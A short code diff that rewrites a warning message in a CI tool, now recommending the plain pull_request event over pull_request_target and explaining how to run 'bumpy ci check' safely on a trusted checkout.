-    'Fix: check the PR head into ./pr from a trusted base checkout, then run',
-    '`bumpy ci check --cwd ./pr`. Updated workflow:',
-    `  ${DOCS_URL}`,
+    'Recommended fix: stop using pull_request_target. Run `ci check` on the plain',
+    '`pull_request` event and post fork-PR comments from a separate workflow_run job:',
+    `  ${DOCS_URL}#commenting-on-fork-prs`,
     '',
-    'If the current directory is already a trusted checkout (e.g. a same-repo,',
-    'non-fork PR), pass `--cwd .` to acknowledge it and continue.',
+    'To stay on pull_request_target, check the PR head into ./pr from a trusted base',
+    'checkout and run `bumpy ci check --cwd ./pr` (or `--cwd .` if the current',
+    'checkout is already trusted, e.g. a same-repo PR).',
   ].join('\n');
 }